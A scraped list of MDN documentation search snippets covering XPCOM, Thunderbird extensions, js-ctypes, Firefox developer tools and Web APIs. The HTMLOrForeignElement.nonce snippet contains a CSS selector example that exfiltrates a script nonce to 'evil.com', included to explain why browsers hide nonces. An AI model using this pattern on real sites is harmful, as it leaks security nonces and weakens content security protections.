way to construct a nsacstring object that allocates null-terminated storage.nsembedstringthe nsembedstring concrete class provides a way to construct a nsastring object that allocates null-terminated storage.nsfixedcstringclass declarationnsfixedstringclass declarationnsliteralcstring (external)class declarationnsliteralstring (external)class declarationnsmemorythe nsmemory class provides static helper routines to manage memory.
IAccessible2
this is the same window handle which will be passed for any events that occur on the object, but is cached in the accessible object for use when it would be helpful to access the window handle in cases where an event isn't fired on this object.
mozIStorageConnection
this helps avoid disk fragmentation by letting you help sqlite make intelligent decisions about resizing of the file.
mozIStorageStatementWrapper
you can then wrap that statement with a wrapper, which implements nsixpcscriptable and provides scriptable helpers letting you execute the statement as a function, access bind variables by name as properties, etc.
nsIAppStartup
it also helps in quitting applications as well.
nsICommandLine
this is, essentially, a helper method that combines findflag() and removearguments() into one operation.
nsICommandLineHandler
ler m-edit @mozilla.org/composer/clh;1 command-line-handler m-irc @mozilla.org/chatzilla/clh;1 command-line-handler y-final @mozilla.org/browser/clh-final;1 method overview void handle(in nsicommandline acommandline); attributes attribute type description helpinfo autf8string when the application is launched with the -help argument, this attribute is retrieved and displayed to the user (on stdout).
nsICommandLineRunner
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsicommandline method overview void init(in long argc, in nscharptrarray argv, in nsifile workingdir, in unsigned long state); void run(); void setwindowcontext(in nsidomwindow awindow); attributes attribute type description helptext autf8string process and combine the help text provided by each command-line handler.
nsIDOMEvent
0x00010000 submit 0x00020000 scroll 0x00040000 load 0x00080000 unload 0x00100000 xfer_done 0x00200000 abort 0x00400000 error 0x00800000 locate 0x01000000 move 0x02000000 resize 0x04000000 forward 0x08000000 help 0x10000000 back 0x20000000 text 0x40000000 alt_mask 0x00000001 control_mask 0x00000002 shift_mask 0x00000004 meta_mask 0x00000008 methods violates the xpcom interface guidelines deserialize() boolean deserialize( in constipcmessageptr amsg, out voidptr aiter ); parameters ...
nsIDownload
mimeinfo nsimimeinfo provides the targets relevant mime information, including its mime type, helper application, and whether or not the helper should be executed automatically once the download is complete.
nsIDownloadManager
amimeinfo the mime information associated with the target; this may include mime type and helper application when appropriate.
nsIEditor
this helps to support cases where only parts of the document are editable, by letting you see if the current selection is in an editable section.
nsIFileSpec
and help fixing things that use this components if you have time!
nsIHttpChannelInternal
setcookie() helper method to set a cookie with a consumer-provided cookie header, but using the channel's other information (uri's, prompters, date headers and so on.).
nsIMsgCompFields
r(char* name, char* value); references this interface is the type of the following properties: nsimsgcompose.compfields, nsimsgcomposeparams.composefields this interface is passed as an argument to the following methods: nsimsgcomposesecure.begincryptoencapsulation, nsimsgcomposesecure.requirescryptoencapsulation, nsimsgsend.createandsendmessage, nsimsgsend.sendmessagefile, nsismimejshelper.getnocertaddresses, nsismimejshelper.getrecipientcertsinfo ...
nsIMsgDatabase
void synccounts(); getthreadcontainingmsghdr() nsimsgthread getthreadcontainingmsghdr(in nsimsgdbhdr msghdr) ; markhdrread() helpers for user command functions like delete, mark read, etc.
nsIMsgIncomingServer
constructedprettyname astring helper function to construct the pretty name in a server type specific way - for example, mail for foo@test.com, news on news.mozilla.org.
nsISHEntry
id unsigned long an id to help identify this entry from others during subframe navigation.
nsIScriptableIO
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
nsIWebNavigationInfo
this lets you determine whether a mime type can be displayed as-is inside a browser, or if the browser will instead forward handling of the data to a plug-in or an external helper application.
nsIWindowMediator
however, if you are looking for the most recent nsixulwindow, it can be helpful to get the corresponding nsixulwindow from the nsidomwindow returned by getmostrecentwindow().
nsIZipReader
in zip, and it uses forward slashes remember) var entry = zr.getentry(entrypointer); // should return true on `entry instanceof ci.nsizipentry` console.log('entrypointer', entrypointer); /* console output * "entrypointer" "bootstrap.js" scratchpad/1:18 */ console.info('entry', entry); /* console output * "entry" xpcwrappednative_nohelper { queryinterface: queryinterface(), compression: getter, size: getter, realsize: getter, crc32: getter, isdirectory: getter, lastmodifiedtime: getter, issynthetic: getter, permissions: getter, compression: 8 } scratchpad/1:19 */ if (!entry.isdirectory) { var inputstream = zr.getinputstream(entrypointer); reusablestreaminstance.init(inputstream); ...
nsMsgSearchWidgetValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl fes use this to help build the search dialog box typedef long nsmsgsearchwidgetvalue; /* fes use this to help build the search dialog box */ [scriptable,uuid(903dd2e8-304e-11d3-92e6-00a0c900d445)] interface nsmsgsearchwidget { const nsmsgsearchwidgetvalue text = 0; const nsmsgsearchwidgetvalue date = 1; const nsmsgsearchwidgetvalue menu = 2; const nsmsgsearchwidgetvalue int = 3; /* added to account for age in days which requires an integer field */ const nsmsgsearchwidgetvalue none = 4; }; ...
NS_IF_ADDREF
this page still needs some work, help to improve it!
NS_IF_RELEASE
this page still needs some work, help to improve it!
XPCOM Interface Reference by grouping
chingchannel nsiselectionimageservice chrome nsisearchengine nsisearchsubmission nsiwebbrowserchrome nsiwindowcreator nsiwindowmediator nsiwindowwatcher clipboard nsiclipboard nsiclipboardcommands nsiclipboarddragdrophooklist nsiclipboarddragdrophooks nsiclipboardhelper nsiclipboardowner core action nsitransactionmanager process nsiprocess nsiprocess2 thread nsithread nsithreadeventfilter nsithreadinternal nsithreadmanager nsithreadobserver ...
NS_CStringContainerInit2
it is generally better to use one of the helper classes, such as nscstring, instead of coding directly to ns_cstringcontainerinit2 because those classes take care of cleaning up the string object when it goes out of scope.
XPCOM reference
in addition, it details the various helper classes and functions, as well as the components, provided by the xpcom glue library.
Warnings
this page is designed to help explain the cause and possible solutions for these warnings.
Troubleshooting XPCOM components registration
further help if the component still does not load, you may wish to ask for help.
Status, Recent Changes, and Plans
bug 59414: making operator& private may help prevent some leaks caused by casting move the factored nscomptr routines into their own library, to reduce nscomptr clients' dependency on the xpcom library.
Using nsCOMPtr
after you've been using nscomptrs for a while, and you reach unfamiliar territory, or run into compiler errors; you may want to return to this document to get help from the reference manual or the faq.
Using the Gecko SDK
(more information on xpcom is available at the xpcom project page.) the intent of this guide is to help you build your components "the right way" such that they will remain compatible with future versions of mozilla.
Weak reference
neither inheritance, nor templates, nor macros can help automatically forward all the method calls to the real object.
XPCOM
in addition, it details the various helper classes and functions, as well as the components, provided by the xpcom glue library.
XPIDL
the implicit_jscontext and optional_argc parameters are properties which help native code implementations determine how the call was made from script.
Xray vision
xray vision helps javascript running in a privileged security context safely access objects created by less privileged code, by showing the caller only the native version of the objects.
Test-Info
test-info has several sub-commands; the "report" sub-command is used by the test-info tasks mozilla-central$ mach help test-info report to reproduce test-info(all): mozilla-central$ mach test-info report --show-tests --show-summary --show-activedata running test-info on try to run these tasks on try, use something like: mach try fuzzy -q test-info contact information test-info is maintained by :gbrown.
Testing Mozilla code
these articles will help you master (and continue to excel at) testing mozilla code.
Address Book examples
there are several hooks in the address book code exposed to add-on developers to help extend the behavior of the address book.
Events
this reference will help you track those events down and learn how to use them.
Mail composition back end
ng listener interfaces nsimsgsendlistener nsimsgcopyservicelistener copy operations copy to sent folder drafts templates "send later" sending unsent messages sending unsent messages listener quoting sample programs overview i've done considerable work in the past few weeks reorganizing the mail composition back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them.
Building a Thunderbird extension 1: introduction
references and resources tools and helper extensions there are many tools available that help with developing thunderbird extensions.
Creating a Custom Column
as you develop your custom extension, please revisit this article and add any helpful hints that you find along the way!
Tips and Tricks from the newsgroups
you can also help by creating how-tos from any of these topics.
Using MAPI with Thunderbird's Windows 7 developer builds
(be sure to copy - not move - these files.) in the uninstall sub-directory of the bin directory, run these two commands: helper.exe /setasdefaultappglobal helper.exe /setasdefaultappuser create an elevated shell and register the mapi proxy.dll as a com server.
Thunderbird
there's also information about how the review process works and how to use the mozilla symbol server to help with debugging.
Using the Mozilla symbol server
symchk: helper.exe failed - built without debugging information.
Working with windows in chrome code
here is helper function that will package the data correctly and pass it to the newly opened window: function opendialog(parentwindow, url, windowname, features) { var array = components.classes["@mozilla.org/array;1"] .createinstance(components.interfaces.nsimutablearray); for (var i = 4; i < arguments.length; i++) { var variant = components.classes["@mozilla.org/va...
Add to iPhoto
closing remarks this is a fairly simple example of how to use js-ctypes, but it actually does something useful, and should be a helpful demonstration not just for how to use js-ctypes, but also more specifically for developers that want to interface with mac os x system frameworks.
Using COM from js-ctypes
eclare('couninitialize', winabi, void // return ); // http://msdn.microsoft.com/en-us/library/windows/desktop/ms686615%28v=vs.85%29.aspx let cocreateinstance = lib.declare('cocreateinstance', winabi, hresult, // return refclsid, // rclsid lpunknown, // punkouter dword, // dwclscontext refiid, // riid lpvoid // *ppv ); // helper functions function checkhresult(hr /*primative hresult*/, funcname /*jsstr*/) { // primative because thats what is returned by declared functions that // return hresult hr = hr.tostring(); // makes it primative if (hr < 0) { console.error('hresult', hr, 'returned from function ', funcname /*, 'getstrofresult:', getstrofresult(hr)*/); throw n...
Memory Management
this is not an exhaustive list, but will help you to understand memory management and how it affects your use of js-ctypes: a function or static data declared using the declare() method will hold that library alive.
Using js-ctypes
stringref/#//apple_ref/c/func/cfstringcreatewithcharacters * cfstringref cfstringcreatewithcharacters ( * cfallocatorref alloc, * const unichar *chars, * cfindex numchars * ); */ var cfstringcreatewithcharacters = libcf.declare('cfstringcreatewithcharacters', ctypes.default_abi, cfstringref, // return cfallocatorref, // alloc unichar.ptr, // *chars cfindex // numchars ); // helper functions function makecfstr(jsstr) { // js str is just a string // returns a cfstr that must be released with cfrelease when done return cfstringcreatewithcharacters(null, jsstr, jsstr.length); } // main var mycfstrs = { head: makecfstr('core foundation says...'), body: makecfstr('we just called the equivalent of the "standardalert carbon function" for 64bit osx from javascript!') }; va...
Flash Activation: Browser Comparison - Plugins
this guide will help outline the similarities and differences between the browsers so web developers can provide the best user experience.
Drawing and Event Handling - Plugins
you can also use npn_getvalue to help create a menu or dialog box for a windowless plug-in.
Streams - Plugins
this function allows the browser to send only as much data to the instance as it can handle at one time, and it helps both the browser and the plug-in to use their resources efficiently.
Version, UI, and Status Information - Plugins
if you want to gather usage statistics or just find out the version of your plug-in's host browser, this information can help you.
Gecko Plugin API Reference - Plugins
plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type overview of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawi...
3D view - Firefox Developer Tools
ouse left/right pan up/down ↑ / ↓ mouse up/down reset zoom level 0 resets the zoom level to the default focus on selected node f makes sure the currently selected node is visible reset view r resets zoom, rotation, and panning to the default hide current node x makes the currently selected node invisible; this can be helpful if you need to get at a node that's obscured use cases for the 3d view there are a variety of ways the 3d view is useful: if you have broken html causing layout problems, looking at the 3d view can help find where you've gone wrong.
Color vision simulation - Firefox Developer Tools
however, they can give you a sense of what your web site looks like to users with vision problems, and therefore help you judge whether you need to make adjustments in your color or contrast choices.
DOM Inspector - Firefox Developer Tools
documentation introduction to dom inspector a guided tutorial that will help you get started with dom inspector.
Add-ons - Firefox Developer Tools
it's not as detailed but may help.
Debugging service workers - Firefox Developer Tools
if this is not enough to help you figure out the problem, you could also try going to the javascript debugger and stepping through your code to pinpoint exactly where it is going wrong.
Browser Console - Firefox Developer Tools
like the web console, the command line interpreter enables you to evaluate javascript expressions in real time:also like the web console's command line interpreter, this command line supports autocomplete, history, and various keyboard shortcuts and helper commands.
UI Tour - Firefox Developer Tools
ignore source causes the debugger to skip the file when "stepping into" functions; this can be helpful for avoiding stepping into libraries used by your code.
Debugger.Object - Firefox Developer Tools
for example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; note that the display name may not be a proper javascript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property.
Debugger.Script - Firefox Developer Tools
for example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; note that the display name may not be a proper javascript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property.
Debugger-API - Firefox Developer Tools
[object wrapper][wrapper] functions help manipulate object references that cross privilege boundaries.
Debugger.Object - Firefox Developer Tools
for example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; note that the display name may not be a proper javascript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property.
The Firefox JavaScript Debugger - Firefox Developer Tools
the javascript debugger enables you to step through javascript code and examine or modify its state to help track down bugs.
Aggregate view - Firefox Developer Tools
the "inverted call stack" view helps with that.
Tree map view - Firefox Developer Tools
the tree map view provides a visual representation of the snapshot, that helps you quickly get an idea of which objects are using the most memory.
Migrating from Firebug - Firefox Developer Tools
the following list aims to help firebug users to find their way into the developer tools.
Performance Analysis - Firefox Developer Tools
the network monitor includes a performance analysis tool, to help show you how long the browser takes to download the different parts of your site.
Examine and edit CSS - Firefox Developer Tools
this can help you understand why certain styles are not being applied.
Animating CSS properties - Firefox Developer Tools
the frame rate and waterfall can give you insight into the work the browser's doing in a css animation, to help diagnose performance problems.
Performance - Firefox Developer Tools
intensive javascript uses the frame rate and waterfall tools to highlight performance problems caused by long-running javascript, and how using workers can help in this situation.
Responsive Design Mode - Firefox Developer Tools
reloading on these changes can be helpful because certain page behaviors would otherwise not be applied.
Style Editor - Firefox Developer Tools
the editor provides line numbers and syntax highlighting to help make it easier to read your css.
Web Console - Firefox Developer Tools
helper commands commands you can use that are not part of javascript.
BaseAudioContext.createBuffer() - Web APIs
examples first, a couple of simple trivial examples, to help explain how the parameters are used: var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(2, 22050, 44100); if you use this call, you will get a stereo buffer (two channels), that, when played back on an audiocontext running at 44100hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames / 44100hz = 0.5 seconds.
BaseAudioContext.createDynamicsCompressor() - Web APIs
it is especially important in games and musical applications where large numbers of individual sounds are played simultaneously, where you want to control the overall signal level and help avoid clipping (distorting) of the audio output.
BaseAudioContext.createWaveShaper() - Web APIs
their s-shape, for instance, helps create a smoother sounding result.
BufferSource - Web APIs
this is a helper type to simplify the specification.
Determining the dimensions of elements - Web APIs
this article is designed to help you make that decision.
CanvasImageSource - Web APIs
it’s just an internal helper type to simplify the specification.
CanvasRenderingContext2D.font - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = 'bold 48px serif'; ctx.stroketext('hello world', 50, 100); result loading fonts with the css font loading api with the help of the fontface api, you can explicitly load fonts before using them in a canvas.
CanvasRenderingContext2D.lineDashOffset - Web APIs
it helps the user to distinguish the selection border from the image background by animating the border.
CanvasRenderingContext2D - Web APIs
the following methods help you to work with that state: canvasrenderingcontext2d.save() saves the current drawing style state using a stack so you can revert any change you make to it using restore().
Applying styles and colors - Web APIs
it helps the user to distinguish the selection border from the image background by animating the border.
Drawing shapes with canvas - Web APIs
using utility functions for bits of drawing you do often can be very helpful and reduce the amount of code you need, as well as its complexity.
Finale - Web APIs
WebAPICanvas APITutorialFinale
this knowledge will help you to make great 2d graphics on the web.
Pixel manipulation with canvas - Web APIs
[i] = avg; // red data[i + 1] = avg; // green data[i + 2] = avg; // blue } ctx.putimagedata(imagedata, 0, 0); }; var invertbtn = document.getelementbyid('invertbtn'); invertbtn.addeventlistener('click', invert); var grayscalebtn = document.getelementbyid('grayscalebtn'); grayscalebtn.addeventlistener('click', grayscale); } zooming and anti-aliasing with the help of the drawimage() method, a second canvas and the imagesmoothingenabled property, we are able to zoom into our picture and see the details.
Transformations - Web APIs
a rotate example in this example, we'll use the rotate() method to first rotate a rectangle from the canvas origin and then from the center of the rectangle itself with the help of translate().
Using images - Web APIs
to really understand what this does, it may help to look at the image to the right.
Console.group() - Web APIs
WebAPIConsolegroup
using groups in the console requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) you can use nested groups to help organize your output by visually associating related messages.
console - Web APIs
WebAPIConsole
using groups in the console you can use nested groups to help organize your output by visually combining related material.
Constraint validation API - Web APIs
together, they help explain whether and why an element's value fails to validate.
Binary strings - Web APIs
WebAPIDOMStringBinary
the reason that brought to use utf-16 code units as placeholders for uint8 numbers is that as web applications become more and more powerful (adding features such as audio and video manipulation, access to raw data using websockets, and so forth) it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
Document - Web APIs
WebAPIDocument
mozilla also define some non-standard methods: document.execcommandshowhelp()obsolete since gecko 14 this method never did anything and always threw an exception, so it was removed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11).
DynamicsCompressorNode() - Web APIs
the dynamicscompressornode() constructor creates a new dynamicscompressornode object which provides a compression effect, which lowers the volume of the loudest parts of the signal, in order to help prevent clipping and distortion.
DynamicsCompressorNode - Web APIs
the dynamicscompressornode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
Element: click event - Web APIs
safari mobile considers the following elements to be typically interactive (and thus they aren't affected by this bug): <a> (but it must have an href) <area> (but it must have an href) <button> <img> <input> <label> (but it must be associated with a form control) <textarea> this list is incomplete; you can help mdn by doing further testing/research and expanding it.
FileError - Web APIs
WebAPIFileError
so the following are a few tips that could help you avoid some pitfalls.
FileSystemEntry.getParent() - Web APIs
you can, however, create a simple helper function to adapt it, like this: function getparentpromise(entry) { return new promise((resolve, reject) => { entry.getparent(resolve, reject); }); } a similar approach can be taken elsewhere in the file and directory entries api.
FileSystemEntry.toURL() - Web APIs
this can be used to help deal with files whose types aren't recognized automatically by the user agent.
Using the Gamepad API - Web APIs
this helps prevent gamepads being used for fingerprinting the user.
GlobalEventHandlers.onclick - Web APIs
html <div id="demo">click here</div> javascript document.getelementbyid('demo').onclick = function changecontent() { document.getelementbyid('demo').innerhtml = "help me"; document.getelementbyid('demo').style = "color: red"; } result getting the coordinates of clicks this example displays the coordinates at which the most recent mouse button click occurred.
HTMLCanvasElement: webglcontextlost event - Web APIs
bubbles yes cancelable yes interface webglcontextevent event handler property none example with the help of the webgl_lose_context extension, you can simulate the webglcontextlost event: const canvas = document.getelementbyid('canvas'); const gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', (event) => { console.log(event); }); gl.getextension('webgl_lose_context').losecontext(); // "webglcontextlost" event is logged.
HTMLCanvasElement: webglcontextrestored event - Web APIs
bubbles yes cancelable yes interface webglcontextevent event handler property none example with the help of the webgl_lose_context extension, you can simulate the webglcontextrestored event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextrestored', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').restorecontext(); // "webglcontextrestored" event is logged.
HTMLEmbedElement - Web APIs
living standard adds two obsolete properties, name and align, to help with compatibility with old web sites.
HTMLImageElement.alt - Web APIs
perhaps the most important reason to use the alt tag is to support accessibility, as the alt text may be used by screen readers and other assistive technologies to help differently-abled users make full use of your content.
HTMLImageElement.loading - Web APIs
this helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than immediately during the initial page load.
HTMLInputElement - Web APIs
use the title attribute to describe the pattern to help the user.
HTMLMediaElement.controlsList - Web APIs
the controlslist property of the htmlmediaelement interface returns a domtokenlist that helps the user agent select what controls to show on the media element whenever the user agent shows its own set of controls.
HTMLMediaElement.msInsertAudioEffect() - Web APIs
configoptional an optional object to help with defining any additional configuration needed.
HTMLMediaElement - Web APIs
htmlmediaelement.controlslist read only returns a domtokenlist that helps the user agent select what controls to show on the media element whenever the user agent shows its own set of controls.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLTableCellElement - Web APIs
they are documented primarily to help understand older code bases.
HTMLVideoElement.msInsertVideoEffect() - Web APIs
configoptional an optional object to help with defining any additional configuration needed.
Using microtasks in JavaScript with queueMicrotask() - Web APIs
remembering that tasks and microtasks are kept on separate queues, and that microtasks run first will help keep this straight.
HTML Drag and Drop API - Web APIs
these are convenience functions to help with dragging multiple items or non-string data (such as files).
IDBEnvironment - Web APIs
the idbenvironment helper of the indexeddb api contains the indexeddb property, which provides access to indexeddb functionality.
IDBTransaction.error - Web APIs
note the transaction.onerror = function(event) { }; block, making use of transaction.error to help in reporting what went wrong when the transaction was unsuccessful.
IDBTransaction.onerror - Web APIs
note the transaction.onerror = function(event) { }; block, making use of transaction.error to help in reporting what went wrong when the transaction was unsuccessful.
Checking when a deadline is due - Web APIs
on mobile platforms you tend to get a numeric keypad for entering data, which is helpful.
Using IndexedDB - Web APIs
a few more examples will help, too.
Timing element visibility with the Intersection Observer API - Web APIs
none of them work in our example here, but they exist to help with the presentation of a blog-like experience.
Intersection Observer API - Web APIs
yselector(".topleft").innerhtml = visiblepct; box.queryselector(".topright").innerhtml = visiblepct; box.queryselector(".bottomleft").innerhtml = visiblepct; box.queryselector(".bottomright").innerhtml = visiblepct; }); } startup(); clipping and the intersection rectangle the browser computes the final intersection rectangle as follows; this is all done for you, but it can be helpful to understand these steps in order to better grasp exactly when intersections will occur.
MediaError - Web APIs
mediaerror.message a domstring object containing a human-readable string which provides specific diagnostic information to help the reader understand the error condition which occurred; specifically, it isn't simply a summary of what the error code means, but actual diagnostic information to help in understanding what exactly went wrong.
MediaStreamTrack.applyConstraints() - Web APIs
for example, you may prefer high-density video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network.
MediaStreamTrack.getConstraints() - Web APIs
for example, you may prefer high definition video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network.
Using the Media Capabilities API - Web APIs
the media capabilities api provides several key features to help you better decide how to handle media, but also to determine how well media is being handled, in real time.
Capabilities, constraints, and settings - Web APIs
of course, there may be non-standard properties in this list, in which case you probably will find that the documentation link doesn't help much.
Media Capture and Streams API (Media Stream) - Web APIs
events addtrack ended muted overconstrained removetrack started unmuted guides and tutorials the articles below provide additional guidance and how-to information that will help you learn to use the api, and how to perform specific tasks that you may wish to handle.
msPlayToPreferredSourceUri - Web APIs
r video = document.createelement('video'); document.body.appendchild(video); video.src = "http://www.contoso.com/videos/video.mp4"; video.msplaytopreferredsourceuri = "http://www.contoso.com/catalogid=1234"; see also microsoft playready content access and protection technology is a set of technologies that can be used to distribute audio/video content more securely over a network, and help prevent the unauthorized use of this content.
Using Navigation Timing - Web APIs
the navigation timing api lets you easily obtain detailed and highly accurate timing information to help isolate performance problems with your site's code or resources.
Navigator.msLaunchUri() - Web APIs
to help protect a user's privacy, windows displays a prompt for the user to allow the service or app to be launched.
Online and offline events - Web APIs
it is this process that online/offline events help to simplify.
Using the Notifications API - Web APIs
because of abuses of push notifications in the past, web browsers and developers have begun to implement strategies to help mitigate this problem.
OES_texture_float_linear - Web APIs
with the help of this extension, you can now set the magnification or minification filter in the webglrenderingcontext.texparameter() method to one of gl.linear, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear, or gl.linear_mipmap_linear, and use floating-point textures.
OES_texture_half_float_linear - Web APIs
with the help of this extension, you can now set the magnification or minification filter in the webglrenderingcontext.texparameter() method to one of gl.linear, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear, or gl.linear_mipmap_linear, and use half floating-point textures.
PannerNode.coneInnerAngle - Web APIs
to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
PannerNode.coneOuterAngle - Web APIs
to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
PannerNode.coneOuterGain - Web APIs
to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
PannerNode.orientationX - Web APIs
to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
PannerNode.orientationY - Web APIs
to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
PannerNode.orientationZ - Web APIs
to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
performance.clearMarks() - Web APIs
// create a small helper to show how many performancemark entries there are.
performance.clearMeasures() - Web APIs
// create a small helper to show how many performancemeasure entries there are.
PerformanceFrameTiming - Web APIs
this information can be used to help identify areas that take too long to provide a good user experience.
PerformanceObserver.observe() - Web APIs
unrecognized types are ignored, though the browser may output a warning message to the console to help developers debug their code.
PerformancePaintTiming - Web APIs
use this information to help identify areas that take too long to provide a good user experience.
Using Performance Timeline - Web APIs
together, these interfaces can be used to help identify an application's performance bottlenecks.
Pinch zoom gestures - Web APIs
cache management this function helps manage the global event caches evcache.
Using Pointer Events - Web APIs
convenience functions this example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.
PushManager.subscribe() - Web APIs
}, function(error) { // during development it often helps to log errors to the // console.
PushManager - Web APIs
}, function(error) { // during development it often helps to log errors to the // console.
Web Push API Notifications best practices - Web APIs
browser mitigations because of abuses of push notifications in the past, web browser developers have begun to implement strategies to help mitigate this problem.
RTCIceCandidate.usernameFragment - Web APIs
this avoids crosstalk among multiple ongoing ice sessions, but, more importantly, helps secure ice transactions (and all of webrtc by extension) against attacks that might try to inject themselves into an ice exchange.
RTCIceCandidate - Web APIs
this is used to help optimize ice performance while prioritizing and correlating candidates that appear on multiple rtcicetransport objects.
RTCIceCandidateInit.candidate - Web APIs
if your client-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle receiving that json message like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate({ candidate: msg.candidate; }); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary.
RTCIceServer.url - Web APIs
WebAPIRTCIceServerurl
it was removed from the specification in june 2013 but is still broadly used in older examples and books, so we include documentation here to help adapt old code to new browsers.
RTCIceServer - Web APIs
because many older books and examples still use this, we include it to help developers update their code or make sense of older examples.
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
by using the fec parity information to attempt to reconstruct damaged packets, it is possible to avoid the need to retransmit damaged packets, which in turn helps to reduce lag, or the need to skip damaged frames entirely.
RTCPeerConnection.createAnswer() - Web APIs
see handling the invitation in signaling and video calling to see the complete code, in context, from which this snippet is derived; that will help you understand the signaling process and how answers work.
RTCPeerConnection.createOffer() - Web APIs
see signaling and video calling for the complete example from which this snippet is derived; this will help you to understand how the signaling code here works.
RTCPeerConnection.onaddstream - Web APIs
it is included here in order to help you adapt existing code and understand existing samples, which may not be up-to-date yet.
RTCPeerConnection.onicecandidateerror - Web APIs
the event offers properties describing the error to help you handle it appropriately.
RTCPeerConnection.signalingState - Web APIs
because the signaling process is a state machine, being able to verify that your code is in the expected state when messages arrive can help avoid unexpected and avoidable failures.
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
let's create a utility function to help us look up the value of a key in the paired statistics object.
RTCRtpContributingSource - Web APIs
this value is a source-generated time value which can be used to help with sequencing and synchronization.
RTCTrackEvent - Web APIs
note: it may be helpful to keep in mind that you receive the track event when a new inbound track has been added to your connection, and you call addtrack() to add a track to the far end of the connection, thereby triggering a track event on the remote peer.
RenderingContext - Web APIs
by using the shorthand renderingcontext, methods and properties which can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering systems, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." as such, renderingcontext is an implementation detail, and isn't something web developers directly use.
Request.destination - Web APIs
the destination is used by the user agent to, for example, help determine which set of rules to follow for cors purposes, or how to navigate any complicated code paths that affect how specific types of request get handled.
ServiceWorkerRegistration.pushManager - Web APIs
}, function(error) { // during development it often helps to log errors to the // console.
SourceBuffer.changeType() - Web APIs
one scenario in which this is helpful is to support adapting the media source to changing bandwidth availability, by transitioning from one codec to another as resource constraints change.
StorageEstimate.quota - Web APIs
this value is an estimate to help prevent its use for fingerprinting—that is, identifying a device using an amalgamation of the values of seemingly innocuous properties.
Storage API - Web APIs
quotas are conservative estimates of the space available for the origin's use, and should be less than the available space on the device to help prevent overruns.
SubtleCrypto.encrypt() - Web APIs
authentication helps protect against chosen-ciphertext attacks, in which an attacker can ask the system to decrypt arbitrary messages, and use the result to deduce information about the secret key.
SubtleCrypto.wrapKey() - Web APIs
wrapping a key helps protect it in untrusted environments, such as inside an otherwise unprotected data store or in transmission over an unprotected network.
SubtleCrypto - Web APIs
you can import keys from other systems, and support for standard formats like pkcs #8 and json web key helps you do this.
Touch - Web APIs
WebAPITouch
this can be helpful when dealing with imprecise pointing devices such as fingers.
Using Touch Events - Web APIs
to help address this problem, the pointer events standard defines events and related interfaces for handling hardware agnostic pointer input from devices including a mouse, pen, touchscreen, etc..
Touch events - Web APIs
convenience functions this example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.
ValidityState - Web APIs
together, they help explain why an element's value fails to validate, if it's not valid.
WaveShaperNode.curve - Web APIs
their s-shape, for instance, helps create a smoother sounding result.
WaveShaperNode.oversample - Web APIs
their s-shape, for instance, helps create a smoother sounding result.
WaveShaperNode - Web APIs
their s-shape, for instance, helps create a smoother sounding result.
WebGLContextEvent - Web APIs
